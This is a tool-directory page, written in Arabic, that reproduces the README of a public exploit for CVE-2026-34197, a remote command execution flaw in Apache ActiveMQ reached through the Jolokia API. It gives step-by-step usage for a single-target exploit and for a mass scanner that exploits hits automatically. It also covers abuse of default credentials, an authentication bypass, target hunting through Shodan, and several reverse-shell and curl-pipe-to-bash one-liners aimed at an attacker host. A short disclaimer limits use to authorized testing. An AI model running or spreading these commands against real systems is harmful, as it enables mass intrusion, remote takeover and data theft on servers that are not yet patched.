Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-34197 — استغلال لثغرة تنفيذ الأوامر عن بُعد (RCE) في Apache ActiveMQ عبر واجهة Jolokia API (CVE-2026-34197) مع التقاط مخرجات الأوامر، والمسح الجماعي، والاستغلال التلقائي. | Kitploit
أدوات/GitHubGitHub/kondordevsecuritycorp/cve-2026-34197
ماسحات الثغرات الأمنيةتوليد الحمولةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرمختبرات وتدريب عملي
GitHubkondordevsecuritycorp/cve-2026-34197

CVE-2026-34197

استغلال لثغرة تنفيذ الأوامر عن بُعد (RCE) في Apache ActiveMQ عبر واجهة Jolokia API (CVE-2026-34197) مع التقاط مخرجات الأوامر، والمسح الجماعي، والاستغلال التلقائي.

عرض المستودع
21منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-34197 CVSS 9.8 RCE Python 3.8+

Apache ActiveMQ Jolokia Spring

CVE-2026-34197

تنفيذ الأوامر عن بُعد في Apache ActiveMQ عبر واجهة Jolokia API

Author

Stars
Forks
Issues
License

نظرة عامة • التفاصيل • مسار الهجوم • بدء سريع • دليل ATTACKER_IP • الاستخدام • التقاط المخرجات • الماسح الضوئي • الاستطلاع • الكشف • المعالجة


نظرة عامة

CVE-2026-34197 هي ثغرة حرجة لتنفيذ الأوامر عن بُعد (RCE) في Apache ActiveMQ Classic تسمح لمهاجم مُصادَق بتنفيذ أوامر نظام تشغيل تعسفية عبر واجهة Jolokia API المكشوفة على وحدة التحكم الويب.

الثغرة موجودة منذ أكثر من 13 عامًا وتكمن في التفاعل بين Jolokia (جسر HTTP-JMX)، وMBeans الخاصة بـ ActiveMQ، وموصلات الشبكة، وناقل VM.

[!CAUTION] هذا هو أول PoC عام تم تطويره بواسطة KONDOR DEV SECURITY. استخدمه فقط في تقييمات أمنية مصرح بها.

الميزات الرئيسية

  • التقاط مخرجات الأوامر — الأوامر البسيطة (id, whoami, cat /etc/passwd) تعرض مخرجاتها تلقائيًا في الطرفية
  • تغليف base64 تلقائي — القذائف العكسية والأحرف الخاصة تعمل دون تهريب يدوي
  • ماسح ضوئي على مرحلتين (version_check.py) — كشف الإصدار متعدد الخيوط + استغلال موجّه
  • تراجع المصادقة — يحاول تلقائيًا بدون مصادقة إذا فشلت بيانات الاعتماد (CVE-2024-32114)
  • كشف ذكي للوسيط — يكتشف تلقائيًا اسم الوسيط عبر استعلامات Jolokia البرية

تفاصيل الثغرة

معرف CVECVE-2026-34197
الخطورة CVSS 3.1
النوعتنفيذ الأوامر عن بُعد (RCE)
CWECWE-20 (التحقق غير السليم من المدخلات) / CWE-94 (حقن الكود)
المتأثرActiveMQ Classic < 5.19.4 و 6.0.0 — 6.2.2
المُصحَّح5.19.4 / 6.2.3
المصادقة المطلوبةنعم (بيانات الاعتماد الافتراضية admin:admin شائعة)
بدون مصادقة6.0.0 — 6.1.1 (بسبب CVE-2024-32114)
المنفذ الافتراضي8161 (وحدة التحكم الويب)

مسار الهجوم```

root@kitploit:~
                CVE-2026-34197 — Exploitation Chain

──────────────────────────────────────────────────────────────

ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │

root@kitploit:~
### تفصيل خطوة بخطوة

| الخطوة | الإجراء | المكوّن |
|:----:|--------|-----------|
| **1** | يرسل المهاجم طلب POST إلى `/api/jolokia/` يستدعي `addNetworkConnector` على Broker MBean | Jolokia API |
| **2** | يعالج ActiveMQ معرف النقل `vm://` وينشئ وسيطًا مؤقتًا مع `brokerConfig` يشير إلى عنوان URL بعيد | VM Transport |
| **3** | يؤدي مخطط `xbean:` إلى تنزيل ملف تكوين Spring XML من خادم المهاجم | Spring / XBean |
| **4** | يقوم Spring بإنشاء جميع الحبوب (beans) في ملف XML، بما في ذلك حبة تستدعي `Runtime.getRuntime().exec()` | Spring Context |
| **5** | بالنسبة للأوامر البسيطة، يتم التقاط المخرجات وإرسالها مرة أخرى عبر HTTP POST إلى مستمع المهاجم (تلقائيًا) | Output Capture |

---

## هيكل المشروع```
CVE-2026-34197/
├── exploit.py             # PoC exploit (single target + mass scan)
├── version_check.py       # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│   └── template.xml       # Spring XML payload template
├── targets.txt            # Target URLs (one per line)
├── docker/
│   └── docker-compose.yml # Vulnerable lab environment
├── docs/
│   ├── HUNTING_GUIDE_EN.md  # Target hunting guide (English)
│   └── HUNTING_GUIDE_ES.md  # Guía de búsqueda (Español)
├── LICENSE
└── README.md

بدء سريع

المتطلبات الأساسية```bash

Python 3.8+ required

pip install requests

root@kitploit:~
### بيئة المختبر (Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161

تشغيل الاستغلال```bash

Single target

python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"

Mass scan from file

python exploit.py -T targets.txt -l YOUR_IP -c "id"

root@kitploit:~
### الماسح الضوئي + الاستغلال التلقائي (موصى به للأهداف الجماعية)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt

# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"

فهم ATTACKER_IP (-l / --lhost)

المعامل -l (أو --lhost) بالغ الأهمية لكي يعمل الاستغلال. فهو يحدد عنوان IP الذي ستخدم منه جهازك حمولة Spring XML الخبيثة. يجب أن يكون خادم ActiveMQ المستهدف قادرًا على الوصول إلى هذا العنوان IP عبر الشبكة لتنزيل الحمولة.

ما هو ATTACKER_IP؟

عندما يتم تشغيل الاستغلال، فإنه يخبر ActiveMQ: "قم بتنزيل إعداداتك من http://ATTACKER_IP:8888/payload.xml". بعد ذلك يقوم ActiveMQ بتقديم طلب HTTP صادر إلى جهازك. إذا لم يتمكن من الوصول إليك، يفشل الاستغلال بصمت.``` YOUR MACHINE TARGET (ActiveMQ) ──────────── ───────────────── ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml" (serves payload.xml) (downloads & executes)

root@kitploit:~
### كيفية تحديد `ATTACKER_IP` الخاص بك

| السيناريو | كيفية العثور عليه | مثال |
|----------|---------------|---------|
| **نفس الشبكة المحلية (LAN)** (مختبر، اختبار اختراق داخلي) | عنوان IP المحلي/الخاص الخاص بك | `ip a` → `192.168.1.50` |
| **VPN** (HTB، THM، شبكة داخلية) | عنوان IP لنفق VPN الخاص بك | `ip a show tun0` → `10.10.14.23` |
| **هدف بعيد عبر الإنترنت** | عنوان IP العام الخاص بك | `curl ifconfig.me` → `203.0.113.42` |
| **خادم سحابي (VPS)** (الهجوم من خادم) | عنوان IP العام للخادم السحابي | تحقق من لوحة تحكم مزود الخدمة السحابية لديك |```bash
# Linux — find your IPs
ip -4 addr show              # All interfaces
ip addr show tun0            # VPN interface (HTB/THM)
ip addr show eth0            # Ethernet / cloud
curl -s ifconfig.me          # Public IP

# Windows
ipconfig                     # All interfaces
(Invoke-WebRequest ifconfig.me).Content   # Public IP (PowerShell)

# macOS
ifconfig en0                 # Wi-Fi
ifconfig utun0               # VPN
curl -s ifconfig.me          # Public IP

الأخطاء الشائعة

الخطأسبب الفشلالحل
استخدام 127.0.0.1 أو localhostيحاول الهدف التنزيل من نفسه، وليس منكاستخدم عنوان IP الحقيقي لشبكتك
استخدام عنوان IP خاص (192.168.x.x) لهدف على الإنترنتلا يمكن للهدف التوجيه إلى شبكتك الخاصةاستخدم عنوان IP العام أو خادم VPS
استخدام عنوان IP العام ولكن المنفذ 8888 محظورجدار الحماية/NAT يرفض الاتصال الوارد من الهدفافتح المنفذ 8888 في جدار الحماية/الموجه، أو استخدم -lp مع منفذ مفتوح
استخدام عنوان IP للواجهة الخاطئة (مثل eth0 بدلاً من tun0)لا يمكن للهدف الوصول إلى ذلك الجزء من الشبكةطابق الواجهة التي لديها مسار إلى الهدف

التحقق من الاتصال قبل الاستغلال

قبل تشغيل الاستغلال، تأكد من أن الهدف يمكنه الوصول إلى المستمع الخاص بك:```bash

1. Start a quick listener on your machine

python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"

2. From another machine (or the target's network), try:

curl http://ATTACKER_IP:8888/

If you see a connection in the listener → connectivity confirmed

If timeout → check firewalls, NAT, routing

root@kitploit:~
### إعادة توجيه المنافذ (سيناريوهات NAT)

إذا كنت خلف موجه/NAT وتهاجم هدفًا مواجهًا للإنترنت:```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues

# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP

# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit

قواعد جدار الحماية (إذا لزم الأمر)```bash

Linux (iptables)

sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT

Linux (ufw)

sudo ufw allow 8888/tcp

Windows (PowerShell as admin)

New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow

root@kitploit:~
### مثال على سير العمل الكامل```bash
# Step 1: Identify your IP
$ ip addr show tun0
    inet 10.10.14.23/23 ...

# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
  [+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]

# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"

# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444                    # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
    -c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1"   # Terminal 2

[!IMPORTANT] يجب أن يكون ATTACKER_IP في -l وداخل أوامر الصدفة العكسية (/dev/tcp/ATTACKER_IP/4444) هو نفس عنوان IP الذي يمكن الوصول إليه. إذا استخدمت عنوان IP مختلفًا في أمر الصدفة العكسية، فستتصل الصدفة بالمكان الخاطئ.


الاستخدام

هدف واحد```bash

Basic usage with default credentials (admin:admin)

python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"

Custom credentials

python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret

Custom HTTP listener port

python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"

No-auth mode (ActiveMQ 6.0.0 — 6.1.1 via CVE-2024-32114)

python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth

Override broker name (if auto-detection fails)

python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker

root@kitploit:~
### المسح الشامل (أهداف متعددة)```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"

# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt

# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass

يجب أن يحتوي ملف targets.txt على عنوان URL واحد في كل سطر:``` http://10.0.0.1:8161 http://10.0.0.2:8161 https://10.0.0.3:8161

root@kitploit:~
ميزات الفحص الشامل:
- **إزالة التكرار تلقائيًا** — تتم إزالة عناوين URL المكررة تلقائيًا
- **خادم HTTP واحد** — يبدأ خادم الحمولة مرة واحدة ويُعاد استخدامه لجميع الأهداف
- **التراجع عن المصادقة** — إذا فشلت بيانات الاعتماد (401)، تتم إعادة المحاولة تلقائيًا بدون مصادقة (CVE-2024-32114)
- **أسماء موصلات عشوائية** — يتجنب تعارضات تسجيل JMX بين الأهداف
- **حفظ تدريجي** — يتم حفظ الأهداف الضعيفة فورًا (آمن للاستخدام مع Ctrl+C)
- **دعم HTTPS** — يعمل مع أهداف HTTP وHTTPS على حد سواء

### الصدف العكسية

الصدف العكسية والأوامر التي تحتوي على أحرف خاصة (`>`, `&`, `|`, `;`, `$`, إلخ.) يتم **ترميزها تلقائيًا بـ base64** لتجنب مشاكل الهروب في XML/الصدفة.```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"

# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "curl http://ATTACKER_IP/shell.sh | bash"

# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

ملاحظة: ابدأ المستمع الخاص بك قبل تشغيل الاستغلال: nc -lvnp 4444

التقاط مخرجات الأوامر

يمكن لكل من exploit.py و version_check.py التقاط وعرض مخرجات الأوامر تلقائيًا للأوامر البسيطة مثل id، whoami، cat /etc/passwd، hostname، وما إلى ذلك.

كيف يعمل ذلك

عند تشغيل أمر بسيط، يقوم الاستغلال تلقائيًا بتغليفه لإرسال stdout/stderr مرة أخرى إلى المستمع الخاص بك عبر HTTP POST:``` YOUR MACHINE (ATTACKER_IP:8888) TARGET (ActiveMQ) ─────────────────────────────── ─────────────────

  1. ◄── GET /payload.xml ─────────────────── Downloads XML payload
  2. root@kitploit:~
    (payload served)                      Executes wrapped command:
                                            OUTPUT=$(id 2>&1)
                                            curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
    
  3. ◄── POST /output ────────────────────── Sends command output back
  4. root@kitploit:~
    Displays: "uid=0(root) gid=0(root)..."
    
root@kitploit:~
#### مثال مع المخرجات```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"

  [*] Target:    http://10.129.45.67:8161
  [*] Command:   id
  [*] Output:    capture enabled (will POST back to listener)
  [*] Broker:    localhost
  [*] Auth:      admin

  [*] Sending request to Jolokia...
  [+] Jolokia accepted the operation (status=200)
  [*] Waiting for the target to download the payload...
  [+] Payload served to 10.129.45.67
  [+] Target downloaded the payload. Command executed.
  [*] Waiting for command output...
  [+] Command output received:
  ──────────────────────────────────────────────────
  uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────

الكشف التلقائي: عند التقاط المخرجات مقابل عدم التقاطها

نوع الأمرمثالالسلوك
أوامر بسيطةid, whoami, cat /etc/passwd, ls -la, uname -aيتم التقاط المخرجات وعرضها تلقائيًا
قذائف عكسيةbash -i >& /dev/tcp/..., nc ... -e /bin/sh, mkfifo...يتم اكتشافها كتفاعلية — بدون تغليف، تعمل كما كانت سابقًا
أوامر تستخدم curl/wgetcurl http://..., wget http://...يتم اكتشافها كتفاعلية — بدون تغليف، لتجنب التداخل

الكشف تلقائي. لا تحتاج إلى تمرير أي علامات إضافية.

المتطلبات على الهدف

يتطلب التقاط المخرجات وجود curl أو wget على النظام الهدف. إذا لم يتوفر أي منهما:

  • سيظل الأمر يُنفَّذ (لا يزال RCE يعمل)
  • فقط لن ترى المخرجات (ستنتهي مهلة رسالة "Waiting for command output..." بعد 10 ثوانٍ)
  • استخدم قذيفة عكسية بدلاً من ذلك للتفاعل الكامل

[!TIP] معظم أنظمة Linux (وصور ActiveMQ Docker) تحتوي على curl مثبتًا مسبقًا. إذا انتهت مهلة التقاط المخرجات ولكن تم تأكيد RCE، فمن المرجح أن الهدف يفتقر إلى كل من curl وwget.

المعاملات

العلامةالوصفالافتراضي
-t, --targetعنوان URL هدف واحد—
-T, --targets-fileملف يحتوي على عناوين URL للأهداف (واحد لكل سطر)—
-l, --lhostعنوان IP للمهاجم لخدمة الحمولةمطلوب
-lp, --lportمنفذ خادم HTTP المحلي8888
-c, --commandأمر نظام التشغيل للتنفيذمطلوب
-u, --userاسم مستخدم Jolokiaadmin
-p, --passwordكلمة مرور Jolokiaadmin
--no-authتخطي المصادقةfalse
--broker-nameتجاوز اسم الوسيطكشف تلقائي
-o, --outputملف الإخراج للأهداف الضعيفةvulnerables.txt
--timeout-waitثوانٍ للانتظار لتنزيل الحمولة15

ملاحظة: -t و-T متنافيان. استخدم أحدهما فقط.


ماسح الإصدارات + الاستغلال التلقائي (version_check.py)

الأداة الموصى بها للأهداف المتعددة. خط أنابيب من مرحلتين يكتشف أولاً إصدارات ActiveMQ عبر جميع الأهداف (سريع، متعدد الخيوط)، ثم يستغل تلقائيًا الأهداف الضعيفة فقط مع التحقق الفعلي من RCE عبر استدعاء الحمولة.

متى تستخدم version_check.py مقابل exploit.py

السيناريوالأداةالسبب
لديك قائمة أهداف وتريد معرفة أيها ضعيفversion_check.pyيفحص الإصدارات أولاً (سريع)، ثم يستغل الأهداف الضعيفة فقط
تريد الفحص دون استغلال (استطلاع فقط)version_check.pyاحذف -l/-c لوضع الفحص فقط
لديك هدف واحد مؤكدexploit.pyأبسط، استغلال مباشر
تريد استغلال مضيف محدد الآنexploit.pyبدون عبء الفحص
لديك أكثر من 100 هدف من Shodan/LeakIXversion_check.pyالمرحلة الأولى متعددة الخيوط تتعامل مع القوائم الكبيرة في ثوانٍ

كيف يعمل — مرحلتان```

┌─────────────────────────────────────────────────────────┐ │ PHASE 1 — Version Detection (fast, multithreaded) │ │ │ │ targets.txt ──→ 10 threads query Jolokia in parallel │ │ GET .../BrokerVersion │ │ │ │ For each target: │ │ 1. Try auth (admin:admin) │ │ 2. If 401 → retry without auth (CVE-2024-32114) │ │ 3. If brokerName=localhost fails → try wildcard (*) │ │ 4. Extract: version, real broker name, working auth │ │ 5. Classify: [VULNERABLE] or [PATCHED] │ │ │ │ Output: list of vulnerable candidates with metadata │ └──────────────────────┬──────────────────────────────────┘ │ only vulnerable targets ▼ ┌─────────────────────────────────────────────────────────┐ │ PHASE 2 — RCE Verification (sequential, with callback) │ │ (only runs if -l and -c are provided) │ │ │ │ For each vulnerable target: │ │ 1. Generate Spring XML payload with command │ │ 2. Send addNetworkConnector via Jolokia │ │ 3. Wait for target to download payload (callback) │ │ 4. If callback received → RCE CONFIRMED │ │ │ │ Output: confirmados.txt with RCE-confirmed targets │ └─────────────────────────────────────────────────────────┘

root@kitploit:~
### منطق تصنيف الإصدارات

يقوم الماسح بتصنيف الإصدارات تلقائيًا بناءً على النطاقات المتأثرة:

| الإصدار | التصنيف |
|---------|---------------|
| `< 5.19.4` (مثل: 5.15.9, 5.18.6) | `[VULNERABLE]` |
| `>= 5.19.4` (مثل: 5.19.4, 5.20.0) | `[PATCHED]` |
| `6.0.0` حتى `6.2.2` | `[VULNERABLE]` |
| `>= 6.2.3` | `[PATCHED]` |

### دليل الاستخدام خطوة بخطوة

#### الخطوة 1 — إعداد ملف الأهداف

أنشئ ملف `targets.txt` مع عنوان URL واحد في كل سطر. تتم إزالة التكرارات تلقائيًا.```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161

[!TIP] استخدم أدلة الصيد للعثور على الأهداف عبر Shodan أو LeakIX أو FOFA أو Censys أو Google Dorks.

الخطوة 2 — وضع الفحص فقط (الاستطلاع، دون استغلال)

إذا كنت تريد فقط تحديد الأهداف المعرضة للخطر دون استغلالها، فاحذف -l و -c:```bash python version_check.py -T targets.txt

root@kitploit:~
هذا يشغّل **المرحلة 1 فقط**. لا يتم تشغيل خادم HTTP، ولا يتم إرسال حمولات، ولا يتم تنفيذ أوامر. سيحتوي ملف الإخراج على معلومات الإصدار لكل هدف معرّض للخطر:```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker

يمكنك زيادة سرعة الفحص باستخدام المزيد من الخيوط:```bash python version_check.py -T targets.txt --threads 20

root@kitploit:~
#### الخطوة 3 — الفحص + الاستغلال التلقائي (خط أنابيب كامل)

للفحص **والاستغلال** في تشغيل واحد، أضف `-l` (عنوان ATTACKER_IP الخاص بك) و `-c` (الأمر):```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

يقوم هذا بتشغيل المرحلتين:

  1. المرحلة 1 تقوم بفحص جميع الأهداف بحثًا عن الإصدارات (متعددة الخيوط، سريعة)
  2. المرحلة 2 تستغل فقط الأهداف [VULNERABLE] (تسلسلية، مع التحقق من الاستجابة)

[!IMPORTANT] يجب أن يكون ATTACKER_IP قابلًا للوصول من الأهداف. سيقوم خادم ActiveMQ المستهدف بإجراء طلب HTTP صادر إلى http://ATTACKER_IP:8888/payload.xml. راجع دليل ATTACKER_IP للحصول على تفاصيل حول اختيار عنوان IP الصحيح.

الخطوة 4 — التحقق من النتائج

يتم حفظ الأهداف المؤكدة كقابلة للاستغلال بشكل تدريجي في ملف الإخراج (الافتراضي: confirmados.txt):``` http://52.234.160.12:8161 | 5.15.9 | admin

root@kitploit:~
`URL | الإصدار | طريقة المصادقة`. يمكنك بعد ذلك استخدام كل منها على حدة مع `exploit.py` لمزيد من مرحلة ما بعد الاستغلال.

### أمثلة على الاستخدام```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt

# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20

# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999

# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
#   nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth

# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30

# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
  --threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt

كيف يعمل ATTACKER_IP في version_check.py

تتصرف المعلمة -l تمامًا كما في exploit.py، ولكن مع اختلاف جوهري واحد: يتم تشغيل خادم HTTP مرة واحدة وإعادة استخدامه عبر جميع الأهداف في المرحلة الثانية.``` YOUR MACHINE (ATTACKER_IP) TARGETS ────────────────────────── ─────── HTTP server on :8888 Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888 (started once, reused) Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888 Target 3 (v6.2.3) ──→ [PATCHED, skipped]

root@kitploit:~
**المرحلة 1 لا تتطلب `ATTACKER_IP`** — فهي تستعلم فقط عن Jolokia للحصول على معلومات الإصدار. يمكنك تشغيل المرحلة 1 وحدها للاستطلاع دون كشف عنوان IP الخاص بك.

**المرحلة 2 تتطلب `ATTACKER_IP`** — يجب أن تصل الأهداف إلى خادم HTTP الخاص بك لتنزيل الحمولة. إذا لم يتمكن هدف من الوصول إليك، فسينتهي المهلة (الافتراضي: 15 ثانية) ويُعلَّم بأنه "لم يتم استلام رد اتصال" — لكن هذا لا يعني بالضرورة أنه غير قابل للاستغلال (قد تمنع جدران الحماية حركة المرور الصادرة).

### المعاملات

| العلم | الوصف | الافتراضي |
|------|-------------|---------|
| `-T, --targets-file` | ملف يحتوي على عناوين URL للأهداف (واحد في كل سطر) | *مطلوب* |
| `-l, --lhost` | عنوان IP للمهاجم لاستقبال رد الاتصال (يفعّل المرحلة 2) | — |
| `-c, --command` | الأمر المراد تنفيذه (يفعّل المرحلة 2) | — |
| `-lp, --lport` | منفذ خادم HTTP المحلي | `8888` |
| `-o, --output` | ملف الإخراج للأهداف المؤكدة | `confirmados.txt` |
| `-u, --user` | اسم مستخدم Jolokia | `admin` |
| `-p, --password` | كلمة مرور Jolokia | `admin` |
| `--no-auth` | تخطي المصادقة | `false` |
| `--threads` | الخيوط المتزامنة للمرحلة 1 | `10` |
| `--timeout` | مهلة كل طلب في المرحلة 1 | `10s` |
| `--wait` | ثوانٍ الانتظار لرد الاتصال في المرحلة 2 | `15s` |

> **ملاحظة:** يجب توفير كل من `-l` و `-c` معًا لتفعيل المرحلة 2. إذا كان أي منهما مفقودًا، فسيتم تشغيل المرحلة 1 فقط (الفحص).

### الميزات

- **خط أنابيب من مرحلتين** — فحص سريع للإصدار أولاً، ثم استغلال موجّه
- **المرحلة 1 متعددة الخيوط** — تفحص مئات الأهداف في ثوانٍ
- **كشف ذكي للوسيط** — يتعامل مع استجابات أحرف البدل `brokerName=*`، ويستخرج اسم الوسيط الحقيقي من مفاتيح MBean
- **تراجع المصادقة** — إذا فشل `admin:admin` (401)، يعيد المحاولة بدون مصادقة (CVE-2024-32114)
- **أسماء موصلات عشوائية** — يتجنب تعارضات JMX (`rce{random8}` فريد لكل هدف)
- **تغليف base64 تلقائي** — قذائف عكسية وأحرف خاصة تعمل مباشرة دون إعدادات إضافية
- **حفظ تدريجي** — يتم حفظ الأهداف المؤكدة فورًا (آمن للضغط على Ctrl+C أثناء الفحص)
- **وضع الفحص فقط** — احذف `-l`/`-c` لاكتشاف الإصدارات فقط دون استغلال
- **تصنيف الإصدارات** — يعلّم `[VULNERABLE]` / `[PATCHED]` بناءً على النطاقات المتأثرة
- **خادم HTTP واحد** — يُبدأ مرة واحدة في المرحلة 2، ويُعاد استخدامه لجميع الأهداف (بدون تعارضات منافذ)

### القذائف العكسية مع `version_check.py`

عند استخدام `version_check.py` لإرسال قذيفة عكسية، تحتاج إلى **شيئين يعملان في وقت واحد**:

1. **مستمع netcat** على جهازك بانتظار اتصال القذيفة الواردة
2. **أمر version_check.py** الذي يفحص الأهداف ويستغلها

يجب أن **يطابق** منفذ المستمع (`nc -lvnp PORT`) **المنفذ** داخل أمر القذيفة العكسية (`/dev/tcp/ATTACKER_IP/PORT`).```
  YOUR MACHINE (ATTACKER_IP)
  ──────────────────────────
  Terminal 1:  nc -lvnp 4444          ◄── Listening for reverse shell on port 4444
  Terminal 2:  version_check.py ...   ──► Scans targets, exploits vulnerable ones
                                          └─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
                                                                                  ▲
  TARGET (ActiveMQ)                                                               │
  ─────────────────                                                               │
  Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘

خطوة بخطوة```bash

──── Terminal 1: Start the listener FIRST ────

The port here (4444) must match the port in the -c command

nc -lvnp 4444

──── Terminal 2: Run the scanner + exploit ────

python version_check.py -T targets.txt -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

root@kitploit:~
#### استخدام منفذ مختلف

يمكنك استخدام أي منفذ تريده، طالما أن كلا الطرفين متطابقان:```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001

# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"

بدائل أوامر الصدفة العكسية في سطر واحد```bash

Netcat reverse shell (listener: nc -lvnp 4444)

python version_check.py -T targets.txt -l ATTACKER_IP
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"

Python reverse shell (listener: nc -lvnp 4444)

python version_check.py -T targets.txt -l ATTACKER_IP
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"

root@kitploit:~
> [!WARNING]
> **تجنب الخلط بين المنافذ:** يستغل الثغرة **منفذين مختلفين** لغرضين مختلفين:
> - `-lp` (الافتراضي `8888`) — منفذ خادم HTTP حيث يقوم ActiveMQ بتنزيل حمولة XML. يتم التعامل مع هذا تلقائيًا بواسطة السكربت.
